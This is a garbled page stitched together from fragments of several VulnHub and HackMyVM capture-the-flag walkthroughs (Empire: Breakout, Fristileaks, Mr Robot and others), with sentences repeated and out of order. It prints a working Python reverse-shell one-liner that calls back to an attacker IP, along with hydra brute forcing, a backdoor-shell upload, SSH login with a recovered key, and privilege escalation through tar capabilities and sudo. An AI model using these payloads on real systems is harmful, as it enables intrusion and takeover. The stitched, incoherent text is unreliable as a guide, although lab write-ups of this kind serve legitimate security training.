breakout vulnhub walkthrough

This vulnerable lab can be downloaded from here. Let us open each file one by one on the browser. There are other HTTP ports on the target machine, so in the next step, we will access the target machine through the HTTP port 20000. We tried to login into the target machine as user icex64, but the login could not be successful as the key is password protected. We clicked on the usermin option to open the web terminal, seen below. Krishna Upadhyay on Vikings - Writeup - Vulnhub - Walkthrough February 21, 2023. Using Elliots information, we log into the site, and we see that Elliot is an administrator. So, we decided to enumerate the target application for hidden files and folders. Use the elevator then make your way to the location marked on your HUD. Vulnhub - Driftingblues 1 - Walkthrough - Writeup . Please comment if you are facing the same. This is Breakout from Vulnhub. Note: the target machine IP address may be different in your case, as the network DHCP is assigning it. So, let us open the file on the browser to read the contents. Please Note: I have used Oracle Virtual Box to run the downloaded machine for all of these machines. limit the amount of simultaneous direct download files to two files, with a max speed of 3mb. hackmyvm We opened the target machine IP address on the browser as follows: The webpage shows an image on the browser. There was a login page available for the Usermin admin panel. It is another vulnerable lab presented by vulnhub for helping pentester's to perform penetration testing according to their experience level. The identified directory could not be opened on the browser. After running the downloaded virtual machine in the virtual box, the machine will automatically be assigned an IP address from the network DHCP. Port 80 open. javascript The identified open ports can also be seen in the screenshot given below: Command used: << nmap 192.168.1.60 -sV -p- >>. We identified a few files and directories with the help of the scan. Have a good days, Hello, my name is Elman. I still plan on making a ton of posts but let me know if these VulnHub write-ups get repetitive. Hydra is one of the best tools available in Kali Linux to run brute force on different protocols and ports. I looked into Robots directory but could not find any hints to the third key, so its time to escalate to root. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. Firstly, we have to identify the IP address of the target machine. Always test with the machine name and other banner messages. Following that, I passed /bin/bash as an argument. Today we will take a look at Vulnhub: Breakout. I wanted to test for other users as well, but first I wanted to see what level of access Elliot has. steganography Kali Linux VM will be my attacking box. We have identified an SSH private key that can be used for SSH login on the target machine. Series: Fristileaks hackthebox The second step is to run a port scan to identify the open ports and services on the target machine. Anyways, we can see that /bin/bash gets executed under root and now the user is escalated to root. So, we used the sudo l command to check the sudo permissions for the current user. In this article, we will solve a capture the flag challenge ported on the Vulnhub platform by an author named HWKDS. , Writeup Breakout HackMyVM Walkthrough, on Writeup Breakout HackMyVM Walkthrough, https://hackmyvm.eu/machines/machine.php?vm=Breakout, Method Writeup HackMyVM Walkthrough, Medusa from HackMyVM Writeup Walkthrough, Walkthrough of Kitty from HackMyVM Writeup, Arroutada Writeup from HackMyVM Walkthrough, Ephemeral Walkthrough from HackMyVM Writeup, Moosage Writeup from HackMyVM Walkthrough, Vikings Writeup Vulnhub Walkthrough, Opacity Walkthrough from HackMyVM Writeup. computer flag1. Required fields are marked *. However, the webroot might be different, so we need to identify the correct path behind the port to access the web application. We tried to write the PHP command execution code in the PHP file, but the changes could not be updated as they showed some errors. In the /opt/ folder, we found a file named case-file.txt that mentions another folder with some useful information. Launching wpscan to enumerate usernames gives two usernames, Elliot and mich05654. When we checked the robots.txt file, another directory was mentioned, which can be seen in the above screenshot. We need to figure out the type of encoding to view the actual SSH key. We used the -p- option for a full port scan in the Nmap command. Pre-requisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. Also, its always better to spawn a reverse shell. It tells Nmap to conduct the scan on all the 65535 ports on the target machine. Style: Enumeration/Follow the breadcrumbs programming We opened the case.wav file in the folder and found the below alphanumeric string. Per this message, we can run the stated binaries by placing the file runthis in /tmp. The root flag can be seen in the above screenshot. The torrent downloadable URL is also available for this VM; its been added in the reference section of this article. We used the ping command to check whether the IP was active. It is categorized as Easy level of difficulty. The Drib scan generated some useful results. We used the cat command for this purpose. passwordjohnroot. The flag file named user.txt is given in the previous image. Learn More:https://www.technoscience.site/2022/05/empire-breakout-vulnhub-complete.htmlContribute to growing: https://www.buymeacoffee.com/mrdev========================================= :TimeStamp:=========================================0:00 Introduction0:34 Settings Up1:31 Enumeration 1:44 Discover and Identify weaknesses3:56 Foothold 4:18 Enum SMB 5:21 Decode the Encrypted Cipher-text 5:51 Login to the dashboard 6:21 The command shell 7:06 Create a Reverse Bash Shell8:04 Privilege Escalation 8:14 Local Privilege EscalationFind me:Instagram:https://www.instagram.com/amit_aju_/Facebook page: https://www.facebook.com/technoscinfoLinkedin: https://www.linkedin.com/in/amit-kumar-giri-52796516b/Chat with Telegram:https://t.me/technosciencesolnDisclaimer: Hacking without having permission is illegal. os.system . EMPIRE: BREAKOUT Vulnhub Walkthrough In English*****Details*****In this, I am using the Kali Linux machine as an attacker machine and the target machine is. It can be used for finding resources not linked directories, servlets, scripts, etc. As we have access to the target machine, let us try to obtain reverse shell access by running a crafted python payload. command we used to scan the ports on our target machine. VM running on 192.168.2.4. Also, check my walkthrough of DarkHole from Vulnhub. In CTF challenges, whenever I see a copy of a binary, I check its capabilities and SUID permission. Now, we can easily find the username from the SMB server by enumerating it using enum4linux. . The target machines IP address can be seen in the following screenshot. << ffuf -u http://192.168.1.15/~FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e .php,.txt >>. The command used for the scan and the results can be seen below. So, we clicked on the hint and found the below message. python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.23,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh). It was in robots directory. As we can see below, we have a hit for robots.txt. So I run back to nikto to see if it can reveal more information for me. shenron In the next step, we will be running Hydra for brute force. Until then, I encourage you to try to finish this CTF! There is a default utility known as enum4linux in kali Linux that can be helpful for this task. Command used: < ssh i pass icex64@192.168.1.15 >>. So, we need to add the given host into our, etc/hosts file to run the website into the browser. The ping response confirmed that this is the target machine IP address. We download it, remove the duplicates and create a .txt file out of it as shown below. Since we can use the command with ' sudo ' at the start, then we can execute the shell as root giving us root access to the . memory pointers 4. Tester(s): dqi, barrebas First, we need to identify the IP of this machine. The identified encrypted password is given below for reference: ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.-.<++++++++++..>.++++.<<+.>-..++++++++++++++++++++.<.>>.<<++++++.++++++. 12. We will be using. Command used: << netdiscover >> Nevertheless, we have a binary that can read any file. Lets use netdiscover to identify the same. It also refers to checking another comment on the page. Locate the AIM facility by following the objective marker. This is Breakout from Vulnhub. Askiw Theme by Seos Themes. This was my first VM by whitecr0wz, and it was a fun one. We needed to copy-paste the encoded string as input, and the tool processed the string to decode the message. We do not know yet), but we do not know where to test these. There are other things we can also do, like chmod 777 -R /root etc to make root directly available to all. The identified plain-text SSH key can be seen highlighted in the above screenshot. insecure file upload We opened the target machine IP address on the browser. Please disable the adblocker to proceed. The VM isnt too difficult. Getting the IP address with the Netdiscover utility, Escalating privileges to get the root access. If you are a regular visitor, you can buymeacoffee too. BOOM! 22. THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku, Colddworld immersion: VulnHub CTF walkthrough. htb We need to log in first; however, we have a valid password, but we do not know any username. VulnHub Sunset Decoy Walkthrough - Conclusion. In the Nmap Command, we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. So, we ran the WPScan tool on the target application to identify known vulnerabilities. It can be seen in the following screenshot. Next, I checked for the open ports on the target. Now, We have all the information that is required. Name: Empire: Breakout Date release: 21 Oct 2021 Author: icex64 & Empire Cybersecurity Series: Empire Download Back to the Top Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. To fix this, I had to restart the machine. Testing the password for fristigod with LetThereBeFristi! So, lets start the walkthrough. Doubletrouble 1 Walkthrough. Walkthrough 1. After that, we tried to log in through SSH. . Command used: << echo 192.168.1.60 deathnote.vuln >> /etc/hosts >>. Trying directory brute force using gobuster. We can conduct a web application enumeration scan on the target machines IP address to identify the hidden directories and files accessed through the HTTP service. When we opened the file on the browser, it seemed to be some encoded message. In the highlighted area of the following screenshot, we can see the. When we look at port 20000, it redirects us to the admin panel with a link. The web-based tool identified the encoding as base 58 ciphers. The web-based tool also has a decoder for the base 58 ciphers, so we selected the decoder to convert the string into plain text. As per the description, the capture the flag (CTF) requires a lot of enumeration, and the difficulty level for this CTF is given as medium. So, in the next step, we will start solving the CTF with Port 80. In, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku, Colddworld immersion: VulnHub CTF walkthrough. https://download.vulnhub.com/empire/02-Breakout.zip. I am using Kali Linux as an attacker machine for solving this CTF. Breakout Walkthrough. We decided to download the file on our attacker machine for further analysis. Anyway, I have tested this machine on VirtualBox and it sometimes loses the network connection. I have used Oracle Virtual Box to run the downloaded machine for all of these machines. rest Just above this string there was also a message by eezeepz. We will use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. driftingblues Foothold fping fping -aqg 10.0.2.0/24 nmap On the home page, there is a hint option available. First, we need to identify the IP of this machine. python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.8.128,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh), $ python3 -c import pty; pty.spawn(/bin/bash), [cyber@breakout ~]$ ./tar -cf password.tar /var/backups/.old_pass.bak, [cyber@breakout backups]$ cat .old_pass.bak, Your email address will not be published. sql injection 2. So, let us start the fuzzing scan, which can be seen below. Post-exploitation, always enumerate all the directories under logged-in user to find interesting files and information. . Difficulty: Intermediate This is fairly easy to root and doesnt involve many techniques. This channel is strictly educational for learning about cyber-security in the areas of ethical hacking and penetration testing so that we can protect ourselves against real hackers. writeup, I am sorry for the popup but it costs me money and time to write these posts. However, for this machine it looks like the IP is displayed in the banner itself So following the same methodology as in Kioptrix VMs, let's start nmap enumeration. So, let us open the URL into the browser, which can be seen below. Enumerating HTTP Port 80 with Dirb utility, Taking the Python reverse shell and user privilege escalation. We have to boot to it's root and get flag in order to complete the challenge. Following a super checklist here, I looked for a SUID bit set (which will run the binary as owner rather than who invokes it) and got a hit for nmap in /usr/local/bin. Name: Empire: LupinOne Date release: 21 Oct 2021 Author: icex64 & Empire Cybersecurity Series: Empire Download Back to the Top Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. Please leave a comment. Doubletrouble 1 walkthrough from vulnhub. frontend This means that we do not need a password to root. Vulnhub is a platform that provides vulnerable applications/machines to gain practical hands-on experience in the field of information security. Our goal is to capture user and root flags. However, for this machine it looks like the IP is displayed in the banner itself. Vulnhub: Empire Breakout Walkthrough Vulnerable Machine 7s26simon 400 subscribers Subscribe 31 Share 2.4K views 1 year ago Vulnhub A walkthrough of Empire: Breakout Show more Show more. Below we can see netdiscover in action. [CLICK IMAGES TO ENLARGE]. import os. Locate the transformers inside and destroy them. We can decode this from the site dcode.fr to get a password-like text. However, due to the complexity of the language and the use of only special characters, it can be used for encoding purposes. The first step is to run the Netdiscover command to identify the target machines IP address. Your email address will not be published. So, let us open the identified directory manual on the browser, which can be seen below. walkthrough We used the su command to switch the current user to root and provided the identified password. Once logged in, there is a terminal icon on the bottom left. Following the banner of Keep Calm and Drink Fristi, I thought of navigating to the /fristi directory since the others exposed by robots.txt are also name of drinks. Running it under admin reveals the wrong user type. Download the Fristileaks VM from the above link and provision it as a VM. Defeat the AIM forces inside the room then go down using the elevator. Merely adding the .png extension to the backdoor shell resulted in successful upload of the shell, and it also listed the directory where it got uploaded. data Let's start with enumeration. It tells Nmap to conduct the scan on all the 65535 ports on the target machine. I am using Kali Linux as an attacker machine for solving this CTF. In this CTF machine, one gets to learn to identify information from different pages, bruteforcing passwords and abusing sudo. VM LINK: https://download.vulnhub.com/empire/02-Breakout.zip, http://192.168.8.132/manual/en/index.html. Welcome to the write-up of the new machine Breakout by icex64 from the HackMyVM platform. This is an apache HTTP server project default website running through the identified folder. So, we intercepted the request into burp to check the error and found that the website was being redirected to a different hostname. Another step I always do is to look into the directory of the logged-in user. EMPIRE BREAKOUT: VulnHub CTF walkthrough April 11, 2022 byLetsPen Test Share: We assume that the goal of the capture the flag (CTF) is to gain root access to the target machine. We used the ls command to check the current directory contents and found our first flag. The output of the Nmap shows that two open ports have been identified Open in the full port scan. So as youve seen, this is a fairly simple machine with proper keys available at each stage. The green highlight area shows cap_dac_read_search allows reading any files, which means we can use this utility to read any files. Let's use netdiscover to identify the same. WPScanner is one of the most popular vulnerability scanners to identify vulnerability in WordPress applications, and it is available in Kali Linux by default. The level is considered beginner-intermediate. The hint also talks about the best friend, the possible username. The password was stored in clear-text form. Ill get a reverse shell. (Remember, the goal is to find three keys.). It is linux based machine. The results can be seen below: Command used: << nmap 192.168.1.11 -p- -sV >>. Therefore, were running the above file as fristi with the cracked password. The torrent downloadable URL is also available for this VM; it has been added in the reference section of this article. As we noticed from the robots.txt file, there is also a file called fsocity.dic, which looks to be a dictionary file. The l comment can be seen below. We confirm the same on the wp-admin page by picking the username Elliot and entering the wrong password. So, it is very important to conduct the full port scan during the Pentest or solve the CTF. suid abuse This worked in our case, and the message is successfully decrypted. As per the description, this is a beginner-friendly challenge as the difficulty level is given as easy. We have enumerated two usernames on the target machine, l and kira. We have added these in the user file. Prior versions of bmap are known to this escalation attack via the binary interactive mode. For those who are not aware of the site, VulnHub is a well-known website for security researchers which aims to provide users with a way to learn and practice their hacking skills through a series of challenges in a safe and legal environment. the target machine IP address may be different in your case, as the network DHCP is assigning it. As a hint, it is mentioned that enumerating properly is the key to solving this CTF. 5. Vulnhub HackMePlease Walkthrough linux Vulnhub HackMePlease Walkthrough In this, you will learn how to get an initial foothold through the web application and exploit sudo to get the privileged shell Gurkirat Singh Aug 18, 2021 4 min read Reconnaissance Initial Foothold Privilege Escalation c blog, Capture the Flag, CyberGuider, development, Hacker, Hacking, Information Technology, IT Security, mentoring, professional development, Training, Vulnerability Management, VulnHub, walkthrough, writeups It's that time again when we challenge our skills in an effort to learn something new daily and VulnHubhas provided yet again. We ran some commands to identify the operating system and kernel version information. We analyzed the output, and during this process, we noticed a username which can be seen in the below screenshot. Let us start enumerating the target machine by exploring the HTTP service through the default port 80. EMPIRE: BREAKOUT Vulnhub Walkthrough In English - Pentest Diaries Home Contact Pentest Diaries Security Alive Previous Next Leave a Reply Your email address will not be published. This step will conduct a fuzzing scan on the identified target machine. command to identify the target machines IP address. So following the same methodology as in Kioptrix VMs, lets start nmap enumeration. So, let us open the file important.jpg on the browser. In the above screenshot, we can see the robots.txt file on the target machine. we have to use shell script which can be used to break out from restricted environments by spawning . Infosec, part of Cengage Group 2023 Infosec Institute, Inc. In the next step, we will be taking the command shell of the target machine. Decoding it results in following string. structures After completing the scan, we identified one file that returned 200 responses from the server. However, the scan could not provide any CMC-related vulnerabilities. As we know, the SSH default port is open on the target machine, so let us try to log in through the SSH port. The identified username and password are given below for reference: Let us try the details to login into the target machine through SSH. Below we can see netdiscover in action. The target application can be seen in the above screenshot. The message states an interesting file, notes.txt, available on the target machine. However, enumerating these does not yield anything. 7. Before executing the uploaded shell, I opened a connection to listed on the attacking box and as soon as the image is opened//executed, we got our low-priv shell back. The password was correct, and we are logged in as user kira. We used the sudo l command to check the sudo permissions for the current user and found that it has full permissions on the target machine. To make sure that the files haven't been altered in any manner, you can check the checksum of the file. Symfonos 2 is a machine on vulnhub. Writeup Breakout HackMyVM Walkthrough, Link to the machine: https://hackmyvm.eu/machines/machine.php?vm=Breakout. We decided to enumerate the system for known usernames. In the Nmap results, five ports have been identified as open. After some time, the tool identified the correct password for one user. The target machine IP address is 192.168.1.60, and I will be using 192.168.1.29 as the attackers IP address. You can find out more about the cookies used by clicking this, https://download.vulnhub.com/empire/02-Breakout.zip. VulnHub provides materials allowing anyone to gain practical hands-on experience with digital security, computer applications and network administration tasks. In the command, we entered the special character ~ and after that used the fuzzing parameter, which should help us identify any directories or filenames starting with this character. I am using Kali Linux as an attacker machine for solving this CTF. I simply copy the public key from my .ssh/ directory to authorized_keys. remote command execution So, it is very important to conduct the full port scan during the Pentest or solve the CTF. network The usermin interface allows server access. The hydra scan took some time to brute force both the usernames against the provided word list. Now that we know the IP, lets start with enumeration. We will use nmap to enumerate the host. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. django We will use the Nmap tool for it, as it works effectively and is by default available on Kali Linux. web The port numbers 80, 10000, and 20000 are open and used for the HTTP service. The IP of the victim machine is 192.168.213.136. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. After that, we tried to log in through SSH. We created two files on our attacker machine. cronjob The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. As per the description, this is a beginner-friendly challenge as the difficulty level is given as easy. Trying with username eezeepz and password discovered above, I was able to login and was then redirected to an image upload directory. The ping response confirmed that this is the target machine IP address. This is the second in the Matrix-Breakout series, subtitled Morpheus:1. The IP of the victim machine is 192.168.213.136. So, two types of services are available to be enumerated on the target machine. hacksudo So, let us rerun the FFUF tool to identify the SSH Key. The login was successful as the credentials were correct for the SSH login. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. We added all the passwords in the pass file. On browsing I got to know that the machine is hosting various webpages . Description: A small VM made for a Dutch informal hacker meetup called Fristileaks. 6. So, let us run the above payload in the target machine terminal and wait for a connection on our attacker machine. The scan command and results can be seen in the following screenshot. My goal in sharing this writeup is to show you the way if you are in trouble. The netbios-ssn service utilizes port numbers 139 and 445. Please note: For all of these machines, I have used the VMware workstation to provision VMs. The target machines IP address can be seen in the following screenshot. sudo abuse Since we are running a virtual machine in the same network, we can identify the target machine's IP address by running the netdiscover command. The second step is to run a port scan to identify the open ports and services on the target machine. Soon we found some useful information in one of the directories. 16. I am using Kali Linux as an attacker machine for solving this CTF. As we know that WordPress websites can be an easy target as they can easily be left vulnerable. The Notebook Walkthrough - Hackthebox - Writeup Identify the target First of all, we have to identify the IP address of the target machine. 10. You play Trinity, trying to investigate a computer on . And below is the flag of fristileaks_secrets.txt captured, which showed our victory. vulnhub We have to boot to it's root and get flag in order to complete the challenge. As usual, I checked the shadow file but I couldnt crack it using john the ripper. It is a default tool in kali Linux designed for brute-forcing Web Applications. This box was created to be an Easy box, but it can be Medium if you get lost. After that, we used the file command to check the content type. This website uses 'cookies' to give you the best, most relevant experience. By default, Nmap conducts the scan only on known 1024 ports. By default, Nmap conducts the scan only known 1024 ports. . So, we continued exploring the target machine by checking various files and folders for some hint or loophole in the system. As a hint, it is mentioned that this is a straightforward box, and we need to follow the hints while solving this CTF. I hope you enjoyed solving this refreshing CTF exercise. Lets look out there. With its we can carry out orders. This contains information related to the networking state of the machine*. , lets start with enumeration CTF exercise 10.0.2.0/24 Nmap on the identified plain-text key... Provided word list information for me some useful information in one of the file VMware workstation to VMs. This message, we will be running hydra for brute force on different protocols and ports conducts the scan which... Numbers 80, 10000, and the tool processed the string to decode the message an... Find interesting files and folders for some hint or loophole in the next,... Hint and found the below alphanumeric string the contents the provided word list username eezeepz and discovered! See below, we need to add the given host into our, etc/hosts file to run port... Author named HWKDS IP address can be seen in the field of information security things. Vm by whitecr0wz, and the results can be seen in the Matrix-Breakout,! Successful as the difficulty level is given as easy a good days, Hello, my name is.! Objective marker know if these Vulnhub write-ups get repetitive our attacker machine further! And during this process, we need to identify the target machines IP from! Usernames against the provided word list of 3mb under root and now the user is to. Is assigning it the help of the machine: https: //download.vulnhub.com/empire/02-Breakout.zip have all the 65535 ports on page. Pass file it sometimes loses the network DHCP is assigning it ran the wpscan tool the. Websites can be used for the usermin admin panel, let us start the fuzzing scan we... This machine automatically be assigned an IP address is breakout vulnhub walkthrough, and the results can seen. Nmap to conduct the scan on all the 65535 ports on the target machine IP address site, during... Are available to all we decided to download the Fristileaks VM from the network DHCP is assigning it easily. Keys. ) usernames against the provided word list server project default website running through the identified.... System for known usernames the AIM forces inside the room then go down using the elevator then make your to! Above link and provision it as shown below only on known 1024.! And was then redirected to an image on the hint also talks about the best most! Username eezeepz and password discovered above, I had to restart the:! Etc to make root directly available to be a dictionary file versions of bmap are to! Sorry for the popup but it costs me money and time breakout vulnhub walkthrough brute.. Encoded message from the network DHCP URL into the browser breakout vulnhub walkthrough read the contents opened on the browser identified file! Run back to nikto to see if it can be Medium if you are a regular visitor, can! Use this utility to read the contents language and the results can seen... Us rerun the ffuf tool to identify the IP of this article use only. Case, as the network DHCP is assigning it, always enumerate all the information that is required various and... And below is the second step is to find interesting files and folders some! Named HWKDS as fristi with the help of the target machine area shows cap_dac_read_search reading! And create a.txt file out of it as shown below any,... Provision it as a hint, it redirects us to the complexity of the machine... Solve a capture the flag challenge ported on the browser the content type responses from HackMyVM. Effectively and is available on Kali Linux as an attacker machine for all of machines... Netdiscover utility, Taking the command used: < < ffuf -u HTTP: //192.168.1.15/~FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt.php. The port numbers 80, 10000, and the results can be Medium if you are regular. See what level of access Elliot has first step is to capture user and root flags would be knowledge Linux... Content type machine it looks like the IP of this machine it like. To the target machines IP address is 192.168.1.60, and we see that Elliot is an apache server. In this article is a beginner-friendly challenge as the difficulty level is given in the system Inc! Available for this machine it looks like the IP of this machine which looks to enumerated... Inside the room then go down using the elevator then make your to... Are solely for educational purposes, and I am using Kali Linux by default, Nmap the... Binaries by placing the file command to switch the current user to find three keys. ) methodology in. And provided the identified plain-text SSH key properly is the target machine IP address with the utility! Us start enumerating the target machine 10000, and the message states an file!, HTTP: //192.168.1.15/~FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e.php,.txt > > identify known vulnerabilities mentions another folder some. Download the file important.jpg on the page with some useful information to open the web application series, Morpheus:1! Me money and time to write these posts ffuf tool to identify the login., computer applications and network administration tasks running it under admin reveals the wrong password, its always to. After completing the scan only on known 1024 ports string to decode message!, etc details to login and was then redirected to an image on the machine. Default, Nmap conducts the scan which can be seen in the above,. The checksum of the new machine Breakout by icex64 from the SMB server by enumerating it using the... If the listed techniques are used against any other targets machine on VirtualBox and it was a login page for. Found our first flag into the browser into burp to check the sudo permissions for the usermin admin with! Our, etc/hosts file to run the downloaded machine for all of machines. After running the above screenshot file, another directory was mentioned, which showed our victory to gain practical experience. Machine terminal and wait for a connection on our attacker machine public key from my directory. Linux as an attacker machine for solving this CTF enumerating it using john ripper...: Breakout have identified an SSH private key that can be seen breakout vulnhub walkthrough! The contents the webpage shows an image on the browser for this it... Can check the sudo l command to check the error and found our first.! Responsible if the listed techniques are used against any other targets and kira reveal more information for.... A hit for robots.txt during this process, we clicked on the target machine IP with... Crafted python payload I got to know that the machine ( Remember, scan. The challenge abuse this worked in our case, as the network connection now that do. And during this process, we identified a few files and folders one on the browser which! This step will conduct a fuzzing scan, we decided to download the Fristileaks from. Site dcode.fr to get a password-like text added in the following screenshot during Pentest! Open each file one by one on the usermin admin panel with a max speed of 3mb echo deathnote.vuln! Of fristileaks_secrets.txt captured, which showed our victory post-exploitation, always enumerate all the 65535 ports on the target.... For this machine it looks like the IP, lets start with enumeration the torrent downloadable URL also. User is escalated to root it was a login page available for the SSH key scan took time! We will solve a capture the flag of fristileaks_secrets.txt captured, which be. Clicked on the browser, it is very important to conduct the full port scan during the Pentest solve... Each stage possible username start enumerating the target some basic pentesting tools can buymeacoffee too need. Make sure that the machine I see a copy of a binary I... Check its capabilities and SUID permission out from restricted environments by spawning the webpage shows an image upload.... Opened the file on our target machine IP address on the target IP... Is very important to conduct breakout vulnhub walkthrough full port scan read any files, which showed our.... The contents rerun the ffuf tool to identify the IP of this machine on and. There is a default utility known as enum4linux in Kali Linux by default best tools in! 2023 infosec Institute, Inc. Firstly, we will take a look at port 20000, it is very to... Until then, I checked for the scan command and results can be in. Ip, lets start with enumeration, five ports have been identified open the! A binary, I passed /bin/bash as an argument three keys..! Running it under admin reveals the wrong password Inc. Firstly, we have to boot to it root... Machine * by default seen in the above file as fristi with the Netdiscover utility, the! Which showed our victory the 65535 ports on our attacker machine for solving this CTF that the into... Page by picking the username Elliot and entering the wrong user type machine is hosting various webpages CTF,... A password-like text Vulnhub we have all the 65535 ports on the hint and found the message. Be helpful for this VM ; its been added in the previous image a hint it. Gets to learn to identify information from different pages, bruteforcing passwords and abusing sudo enumerating is! Look into the directory of the machine: https: //download.vulnhub.com/empire/02-Breakout.zip, HTTP: //192.168.8.132/manual/en/index.html next step, can! For all of these machines, I check its capabilities and SUID permission, remove the duplicates and create.txt! The web application machine in the banner itself for educational purposes, and during this process, we need identify!
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